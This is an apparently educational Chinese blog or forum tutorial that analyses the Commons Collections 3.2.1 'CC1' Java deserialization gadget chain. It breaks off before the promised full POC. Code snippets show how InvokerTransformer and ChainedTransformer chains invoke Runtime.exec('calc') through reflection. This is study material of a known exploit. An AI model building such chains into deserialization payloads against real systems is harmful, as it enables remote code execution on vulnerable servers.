Java反序列化漏洞-CC1利用链分析
@目录
[*]一、前置知识
[*]1. 反射
[*]2. Commons Collections是什么
[*]3. 环境准备
[*]二、分析利用链
[*]1. Transformer
[*]2. InvokeTransformer
[*]执行命令
[*]3. ConstantTransformer
[*]4. ChainedTransformer
[*]执行命令
[*]5. TransformedMap
[*]6. AbstractInputCheckedMapDecorator
[*]7. AnnotationInvocationHandler
[*]三、编写POC
[*]1. ChainedTransformer
[*]2. decorate
[*]3. AnnotationInvocationHandler
[*]4. 执行序列化和反序列化操作
[*]四、完整POC代码
[*]五、为什么是Target.class，为什么是"value"
[*]1. 构造方法中的判断
[*]2. readObject中的判断
[*]var7 != null
[*]var7的值
[*]var5和var6的值
[*]var3的值
[*]回到var7
[*]回到POC代码
[*]六、利用链
一、前置知识
1. 反射
首先，Java执行系统命令的语句是这样的：
Runtime.getRuntime().exec("calc");用反射的方法执行Runtime.getRuntime().exec("calc")的语句是这样的：
//获取Runtime类对象
Class<?> clazz = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
//获取Runtime对象
Runtime runtime = (Runtime) getRuntimeMethod.invoke(clazz, null);
//获取exec方法
Method execMethod = clazz.getMethod("exec", String.class);
//反射执行exec("calc")
execMethod.invoke(runtime, "calc");如果上面这些反射代码看不懂，建议补一下反射基础：
黑马Java反射，Java安全-反射
2. Commons Collections是什么
Java Collections Framework 是 JDK 1.2 中的一项重要新增功能。 它添加了许多强大的数据结构，可以加速最重要的 Java 应用程序的开发。 从那时起，它已成为 Java 中公认的集合处理标准。
Commons-Collections试图通过提供新的接口、实现和实用程序来构建JDK类。
像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使⽤了Apache Commons Collections工具库，当该工具库出现反序列化漏洞时，这些应用也受到了影响，这也是反序列化漏洞如此严重的原因。
3. 环境准备
本文中漏洞复现环境：
[*]commons-collections 3.2.1
[*]jdk 1.8.0_65
在pom.xml添加commons-collections依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>在项目结构中指定JDK版本
https://img-blog.csdnimg.cn/direct/33cdcb9d16004e7dac25e24f24453e3e.png#pic_center
二、分析利用链
这个链分析顺序是从链的最后部分·，即执行命令的逻辑部分开始分析，一直到反序列化的入口点结束。
1. Transformer
Transformer是一个接口，这个接口声明了一个transform函数
https://img-blog.csdnimg.cn/direct/c98de73c395a4f8f861c246b64dbd2c2.png#pic_center
2. InvokeTransformer
这个类的位置：org.apache.commons.collections.functors.InvokerTransformer
看一下InvokeTransformer的构造方法和tramsform方法，这里吧一些不必要的代码省去了
public class InvokerTransformer implements Transformer, Serializable {
//构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
//实现Transformer接口的tramsform方法
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}构造方法：InvokerTransformer(方法名，形参列表，实参列表)
tramsform方法：
[*]调用接收到的对象的getClass方法，获取他的类对象
[*]用getMethod方法获取cls类对象的iMethodName方法
[*]用invoke方法执行input对象的iMethodName方法，参数是iArgs
也可以理解成tramsform就是反射执行 input.iMethodName(iArgs)
执行命令
用 InvokeTransformer 来弹个计算器试试
package com.zzy.ApacheCC1;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Blog {
public static void main(String[] args) {
Class[] paramTypes = {String.class};
Object[] args1 = {"calc"};
InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
it.transform(Runtime.getRuntime());
}
}上面这段代码相当于执行了这些东西：
Object runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
Method exec = cls.getMethod("exec", String.class);
exec.invoke(runtime, "calc");如何不直接调用transform方法，让程序自动调用transform方法来命令执行呢？请先看下面这几个类。
3. ConstantTransformer
ConstantTransformer的构造方法把传过来的值赋给iConstant
然后ConstantTramsformer的tramsform方法又把他返回回去。收到什么就返回什么，很没意思的一个方法是吧。
关键代码：
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}然后我们先看下一个类
4. ChainedTransformer
public class ChainedTransformer implements Transformer, Serializable {
public ChainedTransformer(Transformer[] transformers) {
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers.transform(object);
}
return object;
}
}ChainedTransformer的构造方法接收一个Transformer类型的数组
然后ChainedTransformer的transform方法遍历transformers数组，依次执行每个Tramsformr的transform方法，
给transform方法一个初始值，然后每个Tramsformr的transform方法的返回值最为下一个Tramsformr的transform方法的参数来执行
听起来是不是有点绕，在脑子里过几遍，然后再实际调试一下，这样就差不多能看懂了。
执行命令
我们试着用ChainedTransformer结合InvokerTransformer和ConstantTransformer来自动调用InvokerTransformer的transform方法完成命令执行
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
new ChainedTransformer(transformers).transform(null);由于Runtime类没有实现Serializable接口，无法进行序列化，但是Class类实现了Serializable接口。
所以这里再改进一下代码，用Runtime.class命令执行
ConstantTransformer ct = new ConstantTransformer(Runtime.class);
//获取类对象
//Runtime.class
String methodName1 = "getMethod";
Class[] paramTypes1 = {String.class, Class[].class};
Object[] args1 = {"getRuntime", null};
InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
//获取getRuntime方法
//Runtime.class.getMethod("getRuntime", null)
String methodName2 = "invoke";
Class[] paramTypes2 = {Object.class, Object[].class};
Object[] args2 = {null, null};
InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
//getRuntime.invoke获取Runtime对象
//it1.invoke(null, null)
String methodName3 = "exec";
Class[] paramTypes3 = {String.class};
Object[] args3 = {"calc"};
InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
//Runtime对象执行exec命令
//it2.exec("calc")
Transformer[] transformers = {ct, it1, it2, it3};
new ChainedTransformer(transformers).transform(null);上面这些代码相当于执行了这些操作：
Class runtimeClass = Runtime.class;
Method getruntime = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) getruntime.invoke(null, null);
runtime.exec("calc");成功执行命令
https://img-blog.csdnimg.cn/direct/56f20e3550024f3eb4b948f0f69b7c8d.png#pic_center
这里可以自动调用InvokerTransformer的transform了，但是又多出来个ChainedTransformer的transform，现在还得解决自动调用ChainedTransformer的transform的问题。先看看下面这几个类吧。
5. TransformedMap
类位置：org.apache.commons.collections.map.TransformedMap
public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
}静态decorate方法可以调用TransformedMap的构造方法，返回一个TransformedMap实例。
TransformedMap的checkSetValue方法调用了transform方法，valueTransformer的值可以通过构造方法的第三个参数获得。
但是checkSetValue方法修饰符是protected，无法直接调用它，我们接着寻找一个可以调用checkSetValue方法的类。
6. AbstractInputCheckedMapDecorator
它是TransformedMap的父类
abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}可以看到它的内部类MapEntry的setValue方法调用了checkSetValue方法，但是setValue方法依然不能直接调用，接着寻找能调用setValue方法的类吧。
7. AnnotationInvocationHandler
这个类的主要作用是为注解处理器提供代理对象，以便在运行时动态地处理注解。
这个类的位置：sun.reflect.annotation.AnnotationInvocationHandler
class AnnotationInvocationHandler implements InvocationHandler, Serializable { AnnotationInvocationHandler(Class
页:
[1]